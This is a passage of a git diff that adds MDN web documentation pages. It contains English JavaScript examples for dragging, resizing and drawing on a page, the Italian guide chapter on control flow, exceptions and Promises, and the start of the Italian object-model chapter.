+<p>The following example allows moving the image of Firefox around the page:</p>
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;style&gt;
+img { position: absolute; }
+&lt;/style&gt;
+
+&lt;script&gt;
+window.onload = function() {
+
+  movMeId = document.getElementById("ImgMov");
+  movMeId.style.top = "80px";
+  movMeId.style.left = "80px";
+
+  document.onmousedown = coordinates;
+  document.onmouseup = mouseup;
+
+  function coordinates(e) {
+    if (e == null) { e = window.event;}
+
+    // e.srcElement holds the target element in IE, whereas e.target holds the target element in Firefox
+    // Both properties return the HTML element the event took place on.
+
+    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
+
+    if (sender.id=="ImgMov") {
+      mouseover = true;
+      pleft = parseInt(movMeId.style.left);
+      ptop = parseInt(movMeId.style.top);
+      xcoor = e.clientX;
+      ycoor = e.clientY;
+      document.onmousemove = moveImage;
+      return false;
+    }
+    return false;
+  }
+
+  function moveImage(e) {
+    if (e == null) { e = window.event; }
+    movMeId.style.left = pleft+e.clientX-xcoor+"px";
+    movMeId.style.top = ptop+e.clientY-ycoor+"px";
+    return false;
+  }
+
+  function mouseup(e) {
+    document.onmousemove = null;
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;img id="ImgMov" src="http://placehold.it/100x100&amp;text=JS" width="64" height="64"&gt;
+  &lt;p&gt;Drag and drop around the image in this page.&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;</pre>
+<h2 id="Example:_Resizing_things" name="Example:_Resizing_things">Example: Resizing things</h2>
+<div>
+ Example of resizing an image (the actual image is not resized, only the image's rendering.)
+ <pre class="brush:js">  &lt;!DOCTYPE html&gt;
+  &lt;html&gt;
+    &lt;head&gt;
+      &lt;style&gt;
+        #resizeImage {
+          margin-left: 100px;
+        }
+      &lt;/style&gt;
+      &lt;script&gt;
+      window.onload = function() {
+
+        var resizeId = document.getElementById("resizeImage");
+        var resizeStartCoordsX,
+            resizeStartCoordsY,
+            resizeEndCoordsX,
+            resizeEndCoordsY;
+
+        var resizeEndCoords;
+        var resizing = false;
+
+        document.onmousedown = coordinatesMousedown;
+        document.onmouseup = coordinatesMouseup;
+
+        function coordinatesMousedown(e) {
+          if (e == null) {
+            e = window.event;
+          }
+
+          var element = (typeof( window.event ) != 'undefined' ) ? e.srcElement : e.target;
+
+          if (element.id == "resizeImage") {
+            resizing = true;
+            resizeStartCoordsX = e.clientX;
+            resizeStartCoordsY = e.clientY;
+          }
+          return false;
+        }
+
+        function coordinatesMouseup(e) {
+          if (e == null) {
+            e = window.event;
+          }
+
+          if (resizing === true) {
+            var currentImageWidth = parseInt(resizeId.width);
+            var currentImageHeight = parseInt(resizeId.height);
+
+            resizeEndCoordsX = e.clientX;
+            resizeEndCoordsY = e.clientY;
+
+            resizeId.style.height = currentImageHeight - (resizeStartCoordsY - resizeEndCoordsY) + 'px';
+            resizeId.style.width = currentImageWidth - (resizeStartCoordsX - resizeEndCoordsX) + 'px';
+
+            resizing = false;
+          }
+          return false;
+        }
+      }
+      &lt;/script&gt;
+    &lt;/head&gt;
+
+    &lt;body&gt;
+      &lt;img id="resizeImage" src="http://upload.wikimedia.org/wikipedia/commons/e/e7/Mozilla_Firefox_3.5_logo_256.png"
+width="64" height="64"&gt;
+      &lt;p&gt;Click on the image and drag for resizing.&lt;/p&gt;
+    &lt;/body&gt;
+
+  &lt;/html&gt;</pre>
+</div>
+<h2 id="Example:_Drawing_Lines" name="Example:_Drawing_Lines">Example: Drawing Lines</h2>
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+function linedraw(ax,ay,bx,by)
+{
+    if(ay&gt;by)
+    {
+        bx=ax+bx;
+        ax=bx-ax;
+        bx=bx-ax;
+        by=ay+by;
+        ay=by-ay;
+        by=by-ay;
+    }
+    var calc=Math.atan((ay-by)/(bx-ax));
+    calc=calc*180/Math.PI;
+    var length=Math.sqrt((ax-bx)*(ax-bx)+(ay-by)*(ay-by));
+    document.body.innerHTML += "&lt;div id='line' style='height:" + length + "px;width:1px;background-color:black;position:absolute;top:" + (ay) + "px;left:" + (ax) + "px;transform:rotate(" + calc + "deg);-ms-transform:rotate(" + calc + "deg);transform-origin:0% 0%;-moz-transform:rotate(" + calc + "deg);-moz-transform-origin:0% 0%;-webkit-transform:rotate(" + calc  + "deg);-webkit-transform-origin:0% 0%;-o-transform:rotate(" + calc + "deg);-o-transform-origin:0% 0%;'&gt;&lt;/div&gt;"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="linedraw(200,400,500,900);"&gt; &lt;!-- Replace with your co-ordinate --&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<p> </p>
diff --git a/files/it/web/javascript/guida/controllo_del_flusso_e_gestione_degli_errori/index.html b/files/it/web/javascript/guida/controllo_del_flusso_e_gestione_degli_errori/index.html
new file mode 100644
index 0000000000..76e72f5cba
--- /dev/null
+++ b/files/it/web/javascript/guida/controllo_del_flusso_e_gestione_degli_errori/index.html
@@ -0,0 +1,461 @@
+---
+title: Controllo del flusso di esecuzione e gestione degli errori
+slug: Web/JavaScript/Guida/Controllo_del_flusso_e_gestione_degli_errori
+tags:
+  - Controllo di flusso
+  - Guide
+  - JavaScript
+  - Principianti
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
+
+<p class="summary">JavaScript prevede un insieme di istruzioni compatto, specifico per il controllo del flusso di esecuzione, che si può utilizzare per aggiungere un'elevata interattività alle proprie applicazioni. Questo capitolo fornisce una panoramica su queste istruzioni.</p>
+
+<p>Il <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript reference</a> contiene dettagli esaustivi sulle istruzioni di questo capitolo. Il carattere punto e virgola (<code>;</code>) è usato per separare le varie istruzioni del codice JavaScript.</p>
+
+<p>Ogni espressione JavaScript è a sua volta un'istruzione. Si veda a riguardo <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Espressioni ed operatori</a> per una completa descrizione delle espressioni.</p>
+
+<h2 id="Costrutto_di_blocco">Costrutto di blocco</h2>
+
+<p>Un costrutto fondamentale è il <strong>blocco</strong>, usato per raggruppare insieme più istruzioni, delimitato da un paio di parentesi graffe ({}):</p>
+
+<pre class="syntaxbox notranslate">{
+  istruzione_1;
+  istruzione_2;
+  .
+  .
+  .
+  istruzione_n;
+}
+</pre>
+
+<h3 id="Esempi"><strong>Esempi</strong></h3>
+
+<p>Il blocco è comunemente usato assieme alle istruzioni per il controllo del flusso (e.g. <code>if</code>, <code>for</code>, <code>while</code>).</p>
+
+<pre class="brush: js notranslate">while (x &lt; 10) {
+  x++;
+}
+</pre>
+
+<p>Qui, <code>{ x++; }</code> rappresenta un blocco.</p>
+
+<p><strong>Importante</strong>: JavaScript prima di ECMAScript2015 <strong>non</strong> aveva la visibilità di blocco. Le variabili definite nel blocco hanno una visibilità a livello di funzione o di script in cui sono contenute e l'effetto di assegnare loro un valore persiste oltre il blocco stesso. Cioè il blocco non definisce un campo di visibilità. I blocchi "Indipendenti" ("Standalone" blocks) in JavaScript possono dare un risultato differente da quello che avrebbero prodotto in C o in Java. Per esempio:</p>
+
+<pre class="brush: js notranslate">var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // produce 2
+</pre>
+
+<p>Risulta 2 perché l'istruzione di definizione <code>var x</code> dentro il blocco ha lo stesso campo di visibilità dell'istruzione <code>var x</code> al di fuori del blocco. Mentre in C o Java, il codice equivalente avrebbe prodotto 1.</p>
+
+<p>A partire da ECMAScript2015, la dichiarazione di variabile con l'istruzione <code>let</code> ha visibilità di blocco. Si veda il riferimento a {{jsxref("Statements/let", "let")}} per ulteriori informazioni.</p>
+
+<h2 id="Costrutti_Condizionali">Costrutti Condizionali</h2>
+
+<p>Un costrutto condizionale è un insieme di istruzioni che vengono eseguite se una specifica condizione risulta vera. JavaScript prevede due costrutti condizionali: <code>if...else</code> e <code>switch</code>.</p>
+
+<h3 id="Costrutto_if...else"><code>Costrutto if...else</code></h3>
+
+<p>Si usa il costrutto <code>if</code> per eseguire un blocco di istruzioni se una condizione logica è vera. Si usa la clausola opzionale <code>else</code> per eseguire istruzioni nel caso in cui la stessa condizione sia falsa. Un costrutto <code>if...else</code> si presenta come qui sotto:</p>
+
+<pre class="brush: js notranslate">if (condizione) {
+  istruzioni_se_vera_la_condizione;
+} else {// opzionale
+  istruzioni_se_falsa_la_condizione;
+}</pre>
+
+<p>Qui la <code>condizione</code> è qualsiasi espressione che sia valutabile come vera oppure falsa (<code>true</code> o <code>false</code>). Si veda il riferimento a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean#Description">Boolean</a> per una spiegazione su cosa possa essere valutabile come <code>true</code> o <code>false</code>. Se la <code>condizione</code> viene valutata <em>true</em>, <code>istruzioni_se_vera_la_condzione</code> verrà eseguito, altrimenti verrà eseguito <code>istruzioni_se_falsa_la_condzione</code>. <code>istruzioni_se_vera_la_condzione</code> e <code>istruzioni_se_falsa_la_condzione</code> possono essere qualsiasi istruzione, incluso un altro <code>if</code>.</p>
+
+<p>Si possono pure combinare le istruizioni <code>else if</code> per testare molteplici condizioni in sequenza, come il seguente codice dimostra:</p>
+
+<pre class="syntaxbox notranslate">if (condizione_1) {
+  istruzione_1;
+} else if (condizione_2) {
+  istruzione_2;
+} else if (condizione_n) {
+  istruzione_n;
+} else {
+  ultima_istruzione;
+}
+</pre>
+
+<p>Nel caso di condizioni plurime solo la prima che sia valutata come vera sarà eseguita. Per eseguire più istruzioni si devono raggruppare in un blocco (<code>{ ... }</code>) . In generale è buona pratica usare un blocco specialmente se si usano <code>if</code> annidati:</p>
+
+<pre class="syntaxbox notranslate">if (condizione) {
+  istruzione_1_eseguita_se_vera_la_condizione;
+  istruzione_2_eseguita_se_vera_la_condizione;
+  ...
+} else {
+  istruzione_3_eseguita_se_falsa_la_condizione;
+  istruzione_4_eseguita_se_falsa_la_condizione;
+  ...
+}
+</pre>
+
+<div>Non è consigliabile usare la semplice assegnazione in una espressione condizionale, perché l'assegnamento potrebbe essere confuso con il segno di uguaglianza quando si dia un'occhiata rapida al codice. Ad esempio, non si usi il seguente codice:</div>
+
+<div></div>
+
+<pre class="example-bad brush: js notranslate">if (x = y) {// questa è una assegnazione
+  /* istruzioni qui */
+}</pre>
+
+<p>Se si deve proprio usare un assegnamento in una espressione condizionale è pratica comune aggiungere un paio di parentesi tonde attorno all'assegnamento. Per esempio:</p>
+
+<pre class="brush: js notranslate">if ((x = y)) {
+  /* istruzioni qui */
+}
+</pre>
+
+<h4 id="Valori_valutabili_a_false">Valori valutabili a false</h4>
+
+<p>I seguenti valori si valutano a <code>false</code> (sono anche detti {{Glossary("Falsy")}} value):</p>
+
+<ul>
+ <li><code>false</code></li>
+ <li><code>undefined</code></li>
+ <li><code>null</code></li>
+ <li><code>0</code></li>
+ <li><code>NaN</code></li>
+ <li>la stringa vuota (<code>""</code>)</li>
+</ul>
+
+<p>Tutti gli altri valori, inclusi gli oggetti, saranno valutati a <code>true</code> in una istruzione condizionale.</p>
+
+<p>Non si confonda il valori primitivi booleani <code>true</code> e <code>false</code> con i valori <code>true</code> e <code>false</code> dell'oggetto {{jsxref("Boolean")}}. Ad esempio:</p>
+
+<pre class="brush: js notranslate">var b = new Boolean(false);
+
+if (b) // questa condizione è valutata a true
+       // perché 'b' in questo caso è un oggetto
+       // e si sa che tutti gli oggetti sono valutati a true
+
+if (b == true) // mentre questa a false,
+               // perché si va a prelevare il contenuto dell'oggetto 'b' che è false
+</pre>
+
+<h4 id="Esempi_2"><strong>Esempi</strong></h4>
+
+<p>Nell'esempio a seguire la funzione <code>controllaDati</code> ritorna <code>true</code> se il numero di caratteri contenuti nella proprietà <code>value</code> dell'oggetto <code>Text (treCaratteri)</code> è tre, altrimenti mostra un popup di alert e, infine, ritorna il valore <code>false</code>.</p>
+
+<pre class="brush: js notranslate">function controllaDati() {
+  if (document.form1.treCaratteri.value.length == 3) {
+    return true;
+  } else {
+    alert("Immetti esattemente tre caratteri. " +
+    document.form1.treCaratteri.value + " non è valido.");
+    return false;
+  }
+}
+</pre>
+
+<h3 id="Costrutto_switch"><code>Costrutto switch</code></h3>
+
+<p>Un costrutto <code>switch</code> permette ad un programma di valutare un'espressione e tentare di trovare la corrispondenza esatta tra il valore risultante dalla valutazione dell'espressione e l'etichetta specificata nella clausola <code>case</code>. Se si incontra una corrisopondenza il programma eseguirà le istruzioni associate. Un costrutto <code>switch</code> si presenta  come nell'esempio qui sotto riportato:</p>
+
+<pre class="syntaxbox notranslate">switch (espressione) {
+  case etichetta_1:
+    istruzione_1
+    [break;]// opzionale
+  case etichetta_2:
+    istruzione_2
+    [break;]
+    ...
+  default:
+    istruzioni_di_default
+    [break;]
+}
+</pre>
+
+<p>Il programma cerca la prima corrispondenza tra il valore ottentuto della valutazione dell'<code>espressione </code>e l'etichetta nella clausola <code>case</code>, poi trasferisce il controllo al corpo della medesima clausola eseguendo le istruzioni relative. Se non è stata trovata alcuna corrispondeza il programma va alla clausola opzionale <code>default</code> e, se la trova, esegue le istruizioni ad essa relative. Se non è stata data alcuna clausola <code>default</code> il programma continuerà con l'istruzione successiva al blocco <code>switch</code>. La clausola <code>default</code> è l'ultima che appare nel blocco<code> switch</code>, ma questa è una convenzione non la regola.</p>
+
+<p>Il <code>break</code> opzionale, associato con ogni clausola <code>case,</code> assicura che il programma esca dal blocco <code>switch</code> una volta eseguite le istruzioni associate alla clausola e continui la sua esecuzione all'istruzione che segue il costrutto <code>switch</code>. Se il <code>break</code> è omesso il programma continua la sua esecuzione all'istruzione successiva nello stesso costrutto <code>switch</code>, ciò significa che eseguirà le istruzioni associate alla clausola <code>case/default</code> (se ci sono) successiva a quella appena terminata.</p>
+
+<h4 id="Esempi_3"><strong>Esempi</strong></h4>
+
+<p>Nel seguente esempio, se la variabile <code>tipidifrutto</code> contiene "Banane", il programma cercherà la corrispondente clausola <code>case "Banane"</code> ed eseguirà le istruzioni associate. Quando incontra il <code>break</code>, il porgramma esce dallo <code>switch</code> ed esegue l'istruzione successiva al blocco di <code>switch</code>. Se, invece, il <code>break</code> fosse stato omesso le istuzioni collegate con la clausola <code>case "Ciliege"</code> sarebbero state eseguite.</p>
+
+<pre class="brush: js notranslate">switch (tipidifrutta) {
+  case "Arance":
+    console.log("Le Arance sono a €0.59 il chilo.");
+    break;
+  case "Mele":
+    console.log("Le mele sono a €0.32 il chilo.");
+    break;
+  case "Banane":
+    console.log("Le Banane sono €0.48 il chilo.");
+    break;
+  case "Ciliege":
+    console.log("Le ciliege sono s €3.00 il chilo.");
+    break;
+  case "Mango":
+    console.log("Il Mango è è €0.56 il chilo.");
+    break;
+  case "Papaia":
+    console.log("Il Mango e la Papaia sono a €2.79 il chilo.");
+    break;
+  default:
+    console.log("Spiacenti, abbiano terminato " + tipidifrutta + ".");
+}
+console.log("C'è qualcos'altro che ti piace?");</pre>
+
+<h2 id="Costrutti_di_gestione_delle_Eccezioni">Costrutti di gestione delle Eccezioni</h2>
+
+<p>Si può sollevare/generare un'eccezione attraverso l'istruzione <code>throw</code> e si possono gestire usando il costrutto <code>try...catch</code>.</p>
+
+<ul>
+ <li><a href="#Istruzione_throw">istruzione throw</a></li>
+ <li><a href="#trt_catch">costrutto try...catch</a></li>
+</ul>
+
+<h3 id="Tipi_di_eccezione">Tipi di eccezione</h3>
+
+<p>Quasi ogni tipo di oggetto può essere usato per sollevare/generare un'eccezione JavaScript. Tuttavia non tutti gli oggetti utili a questo scopo sono creati in modo eguale. Mentre è abbastanza comune usare numeri o stringhe per indicare un errore, è più efficace usare uno dei tipi di eccezione specificatamente creati a questo scopo:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects#Fundamental_objects">eccezioni di ECMAScript</a></li>
+ <li>{{domxref("DOMException")}} e {{domxref("DOMError")}}</li>
+</ul>
+
+<h3 id="Istruzione_throw_2"><code><a id="Istruzione_throw" name="Istruzione_throw"></a>Istruzione throw</code></h3>
+
+<p>Si usa l'istruzione <code>throw</code> per sollevare/generare un'eccezione. Quando si genera un'eccezione va specificata un'espressione che produca un valore da usarsi come eccezione:</p>
+
+<pre class="syntaxbox notranslate">throw espressione;
+</pre>
+
+<p>Si può usare una qualsiasi espressione con l'istruzione <code>throw </code>e non solamente espressioni di un certo tipo. Il seguente pezzo di codice lo dimostra:</p>
+
+<pre class="brush: js notranslate">throw "Errore2";  // tipo String
+throw 42;         // tipo Number
+throw true;       // tipo Boolean
+throw {toString: function() { return "Sono un oggetto!"; } };
+</pre>
+
+<div class="note"><strong>Note:</strong> Si può specificare un oggetto quando si genera un'eccezione. Si può poi far riferimento alle proprietà dell'oggetto nel blocco <code>catch</code>. Il seguente esempio crea un oggetto <code>myUserException</code> del tipo <code>UserException</code> e lo usa nell'istruzione throw.</div>
+
+<pre class="brush: js notranslate">// Crea un oggetto di tipo UserException
+function UserException(messaggio) {
+  this.message = messaggio;
+  this.name    = "UserException";
+}
+
+// Sovrascrive il metodo toString() affinché l'oggetto
+// dia una descrizione di se stesso al momento di usarlo come stringa.
+// (e.g. come messaggio nella console degli errori)
+UserException.prototype.toString = function() {
+  return this.name + ': "' + this.message + '"';
+}
+
+// Crea un'istanza dell'oggetto e lo usa nell'istruzione throw
+throw new UserException("Valore troppo alto!);</pre>
+
+<h3 id="Costrutto_try...catch_..._finally"><code><a id="trt_catch" name="trt_catch"></a>Costrutto try...catch (... finally)</code></h3>
+
+<p>Il costrutto <code>try...catch</code> racchiude un blocco di istruzioni, che potrebbero generare un'eccezione, e specifica uno o più azioni per gestire l'eccezione che potrebbe essere sollevata. Se viene sollevata un'eccezione il costrutto <code>try...catch</code> la cattura.</p>
+
+<p>Il costrutto <code>try...catch</code> è costituito da un blocco <code>try</code>, che contiene a sua volta uno o più istruzioni, e da al più (vedi nota più sotto) un blocco <code>catch</code>, contenenti istruzioni per gestire l'eccezione che eventulmente sarà sollevata all'interno del blocco <code>try</code>.  Cioè si vorrebbe che il blocco <code>try</code> fosse eseguito senza errori, ma se non fosse possibile si vuole che l'esecuzione passi al blocco <code>catch</code>. Se un'istruzione contenuta nel blocco (o in una funzione chiamata all'interno del blocco) <code>try</code> genera un'eccezione, il controllo passa immediatamente al blocco <code>catch</code>. Se nessuna eccezione è sollevata all'interno del blocco <code>try</code>, il blocco <code>catch</code> è semplicemente ignorato. Il blocco <code>finally (</code>opzionale se c'è il blocco <code>catch</code>, ma necessario se manca quest'utimo) è eseguito subito dopo l'esecuzione dei blocchi <code>try<font face="Open Sans, Arial, sans-serif">/</font></code><code>catch</code>, ma prima di una qualsiasi istruzione che segua gli stessi <code>try...catch...finally</code>.</p>
+
+<div class="note">
+<p>In realtà il browser Firefox è in grado di suppostare i blocchi <code>catch</code> condizionati, oltre quello incondizionato, rendendo virtualmeente illimitata la definizione di più di un blocco <code>catch </code>per uno stesso blocco<code> try</code>. Tuttavia questa caratteristica non è standard e se ne scoraggia l'uso, si veda a proposito la referenza {{jsxref("Statements/try...catch", "try...catch")}}.</p>
+</div>
+
+<p>L'esempio che segue usa il costrutto di <code>try...catch</code>. L'esempio chiama una funzione che ritorna il nome del mese estratto da un array grazie al parametro <code>mo</code> passato alla funzione. Se il valore passato non corrispondesse al numero di mese consentito (tra 1 e 12), un'eccezione verrebbe sollevata col valore <code>"numeroMeseNonValido"</code><code> </code>e il blocco <code>catch</code> assegnerebbe alla variabile <code>nomeDelMese</code> il vaore di "<code>sconoscuto"</code>.</p>
+
+<pre class="brush: js notranslate">function getNomeDelMese(mo) {
+  mo = mo - 1; // Sistema il numero del mese (1 = Gen, 12 = Dic)
+  var mesi = ["Gen","Feb","Mar","Apr","Mag","Giu","Lug",
+                "Ago","Set","Ott","Nov","Dic"];
+  if (mesi[mo]) {
+    return mesi[mo];
+  } else {
+    throw "numeroMeseNonValido"; //l'istruzione throw è usata qui
+  }
+}
+
+try { // blocco try
+  nomeDelMese = getNomeDelMese(mese); // la funzione potrebbe sollevare un'eccezione
+}
+catch (eccezione) {
+  nomeDelMese = "sconosciuto";
+  logDegliErrori(eccezione); // Passa l'eccezione a un gestore -&gt; una propria funzione
+</pre>
+
+<h4 id="Il_blocco_catch">Il blocco <code>catch</code></h4>
+
+<p>Si può usare il blocco <code>catch</code> per gestire le eccezioni che possono essere generate nel blocco <code>try</code>.</p>
+
+<pre class="syntaxbox notranslate">catch (catchID) {
+  // istruzioni
+}
+</pre>
+
+<p>Il blocco <code>catch</code> viene specificato un identificatore (<code>catchID</code> nel precedente esempio) che conterrà il valore specificato nell'istruzione <code>throw.</code> Si può usare questo identificatore per ottenere informazione ulteriori circa l'eccezione che è stata generata. JavaScript crea questo identificatore quando si entra nel blocco <code>catch.</code> L'identificatore è valido solo per la durata in esecuzione del blocco <code>catch </code>stesso, infatti usciti dal blocco <code>catch</code> termina la sua esistenza e non è più disponibile.</p>
+
+<p>Per esempio, il seguente codice solleva un'eccezione. Quando l'eccezione si realizza il controllo passa al blocco <code>catch</code>.</p>
+
+<pre class="brush: js notranslate">try {
+  throw "miaEccezione"; // genera una eccezione
+}
+catch (eccezione) { // "eccezione" è l'identificatore con conterrà
+  // l'oggetto usato nell'istruzione thrown, in questo caso la stringa "miaEccezione"
+
+  // istruzioni che gestiscono l'eccezione
+  gestisciErrori(eccezione); // passa l'oggetto eccezione al gestore
+}
+</pre>
+
+<h4 id="Il_blocco_finally">Il blocco <code>finally</code></h4>
+
+<p>Il blocco <code>finally</code> contiene istruzioni che vengono eseguite subito dopo i blocchi <code>try</code> ed eventualmente <code>catch</code>, ma prima di ogni altra istruzione che segua il costrutto <code>try...catch...finally</code>. Il blocco <code>finally</code> è eseguito indipendentemente dal fatto che un'eccezione sia o meno generata. Se un'eccezione viene sollevata le istruzioni nel blocco <code>finally</code> saranno eseguite anche se il blocco <code>catch</code> corrispondente la gestisce.</p>
+
+<p>Si può usare il blocco <code>finally</code> per permettere agli script di terminare elegantemente in presenza di un'eccezione, ad esempio, se si deve liberare una risorsa che lo script trattiene. Il seguente esempio apre un file e lo usa (JavaScript lato server permette di accedere al file system). Se si solleva un'eccezione mentre il file è aperto il blocco <code>finally</code> chiude il file prima che lo script termini/fallisca.</p>
+
+<pre class="brush: js notranslate">apriMioFile();
+try {
+  ScriviMioFile(dati); //Qui si può verificare un'eccezione/errore
+} catch(e) {
+  gestisciErrore(e); // Se avviene un errore lo si gestisce
+} finally {
+  chiudiMioFile(); // chiude comunque la risorsa
+}
+</pre>
+
+<p>Se il blocco <code>finally</code> ritorna un valore questo diviene il valore ritornato dall'intero costrutto <code>try-catch-finally</code> a dispetto di qualsiasi valore eventualmente ritornato dai blocchi <code>try/c</code><code>atch</code>:</p>
+
+<pre class="brush: js notranslate">function f() {
+  try {
+    console.log(0);
+    throw "fasulla";
+  } catch(e) {
+    console.log(1);
+    return true; // quasta istruzione di ritorno è sospesa
+                 // finché il blocco finally non termina
+    console.log(2); // istruzione non raggiungibile
+  } finally {
+    console.log(3);
+    return false; // sovrascrive il precedente "return"
+    console.log(4); // istruzione non raggiungibile
+  }
+  // "return false" è eseguito ora
+  console.log(5); // istruzione non raggiungibile
+}
+f(); // nel log a console troviamo stampato: 0, 1, 3 e false
+</pre>
+
+<p>La sovrascrittura dei valori di ritorno, da parte del blocco <code>finally,</code> colpisce anche le eccezioni generate e/o ri-generate dentro il blocco <code>catch</code>:</p>
+
+<pre class="brush: js notranslate">function f() {
+  try {
+    throw "fasulla";
+  } catch(e) {
+    console.log('catturata l\'eccezione interna "fasulla"');
+    throw e; // Quasta istruzione throw è sospesa
+             // finché il blocco finally non termina
+  } finally {
+    return false; // sovrascrive il precedente "throw"
+  }
+  // "return false" è eseguita ora
+}
+
+try {
+  f();
+} catch(e) {
+  // Questo blocco non sarà mai raggiunto in quanto l'istruzione
+  // throw dentro il blocco catch (vedi più sopra) è sovrascritta
+  // dal return della clausola finally
+  console.log('catturata l\'eccezione esterna "fasulla"');
+}
+
+// OUTPUT
+// catturata l'eccezione interna "fasulla"</pre>
+
+<h4 id="try...catch_innestati">try...catch innestati</h4>
+
+<p>Si possono annidare <code>try...catch.</code> Se un blocco <code>try...catch</code> interno non ha il blocco <code>catch </code>(in questo caso è d'obbligo che ci sia il blocco <code>finally</code>, anche vuoto, altrimenti si ha un errore sintattico), il blocco catch, del costrutto <code>try...catch</code> che lo racchiude, catturerà l'eventuale eccezione.</p>
+
+<pre class="brush: js notranslate">try{// try-catch esterno
+  try{
+   // try-finally interno
+    throw "eccezione fasulla";
+  }
+  // Manca il blocco catch, ma deve esserci il blocco finally
+  finally{
+    // vuoto
+  }
+}
+catch(e){
+  // Viene catturata l'eccezione sollevata dal blocco più interno
+  console.log("cattura esterna: " + e);
+}
+
+//nella console sarà stampato: "cattura esterna: eccezione fasulla"</pre>
+
+<h3 id="Utilizzo_degli_oggetti_Error">Utilizzo degli oggetti <code>Error</code></h3>
+
+<p>A seconda del tipo di errore se si è in grado di usare le proprietà '<code>name</code>' e '<code>message</code>' si può avere un messaggio più ricco. '<code>name</code>' fornisce la classe generale dell'Error (e.g., 'DOMException' o 'Error'), mentre '<code>message</code>' generalmente fornisce un messaggio più conciso rispetto al convertire l'oggetto corrispondente all'errore in una stringa.</p>
+
+<p>Se si crea una propria eccezione affiché ci si avvantaggi di queste proprietà (come nel caso, ad esempio, del blocco <code>catch</code> che non discrimini tra l'oggetto rappresentante la propria eccezione e quello di sistema) si può usare il costruttore dell'oggetto Error:</p>
+
+<pre class="brush: js notranslate">function faiQualcosaSoggettaAdErrore () {
+  if (codiceCheProduceUnErrore()) {
+    throw (new Error('Il Messaggio'));
+  } else {
+    faiQualcosaPerOttenereUnEorreDiJavascript();
+  }
+}
+....
+try {
+  faiQualcosaSoggettaAdErrore();
+} catch (e) {
+  console.log(e.name);    // Scrive a console: 'Error'
+  console.log(e.message); // Scrive a console: 'Il Messaggio' o un messaggio di errore di JavaScript)
+}</pre>
+
+<h2 id="I_Promise">I Promise</h2>
+
+<p>A partire da ECMAScript2015, JavaScript acquisisce il supporto agli oggetti {{jsxref("Promise")}} permettendo di controllare l'esecuzione di operazioni in modo differito e asincrono.</p>
+
+<p>Un <code>Promise</code> può essere in uno di questi stati:</p>
+
+<ul>
+ <li><em>pending</em>: stato iniziale, non <em>fulfilled</em> o <em>rejected</em>.</li>
+ <li><em>fulfilled</em>: operazione risucita.</li>
+ <li><em>rejected</em>: operazione fallita.</li>
+ <li><em>settled</em>: il Promise è alternativamente <em>fulfilled</em> o <em>rejected</em>, ma non <em>pending</em>.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
+
+<h3 id="Caricare_unimmagine_con_XHR">Caricare un'immagine con XHR</h3>
+
+<p>Un esempio di semplice utilizzo di un <code>Promise</code> e <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> per caricare un'immagine è disponibile nel repository <a href="https://github.com/mdn/promises-test/blob/gh-pages/index.html">promise-test</a> di MDN GitHub. Si può anche<a href="http://mdn.github.io/promises-test/"> vedere in azione</a>. Ogni passo  è commentato e ti permette di seguire il Promise e l'architettura XHR da vicino. Qui, invece, la versione non commentata che mostra l'utilizzo del <code>Promise</code> per darti un'idea del suo funzionamento:</p>
+
+<pre class="brush: js notranslate">function caricaImmagine(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+    request.onload = function() {
+      if (request.status === 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('L\'immagine non è stata caricata con successo; codice di errore:'
+                     + request.statusText));
+      }
+    };
+    request.onerror = function() {
+      reject(Error('C\'è stato un errore di connessione'));
+    };
+    request.send();
+  });
+}</pre>
+
+<p>Per informazioni più dettagliate si veda la pagina di riferimento relativa al {{jsxref("Promise")}}.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
diff --git a/files/it/web/javascript/guida/dettagli_object_model/index.html b/files/it/web/javascript/guida/dettagli_object_model/index.html
new file mode 100644
index 0000000000..1e2d4dc74f
--- /dev/null
+++ b/files/it/web/javascript/guida/dettagli_object_model/index.html
@@ -0,0 +1,727 @@
+---
+title: Dettagli del modello a oggetti
+slug: Web/JavaScript/Guida/Dettagli_Object_Model
+tags:
+  - Guide
+  - Intermediate
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<div class="note">
+<p>Il contenuto di questo articolo è in discussione. Lascia un feedback e aiutaci a rendere migliore questa pagina: {{bug(1201380)}}.</p>
+</div>
+
+<p class="summary">JavaScript è un linguaggio ad oggetti basato su prototipi, piuttosto che sulle classi. A causa di questa diversa base, può essere meno evidente come JavaScript permette di creare gerarchie di oggetti e di avere l'ereditarietà delle proprietà e dei loro valori. Questo articolo cerca di chiarire questo aspetto.</p>
+
+<p>Questo capitolo presuppone una certa familiarità con JavaScript e con l'uso delle funzioni per la creazione di semplici oggetti.</p>
+
+<h2 id="Linguaggi_class-based_vs._linguaggi_prototype-based">Linguaggi class-based vs. linguaggi prototype-based</h2>
+
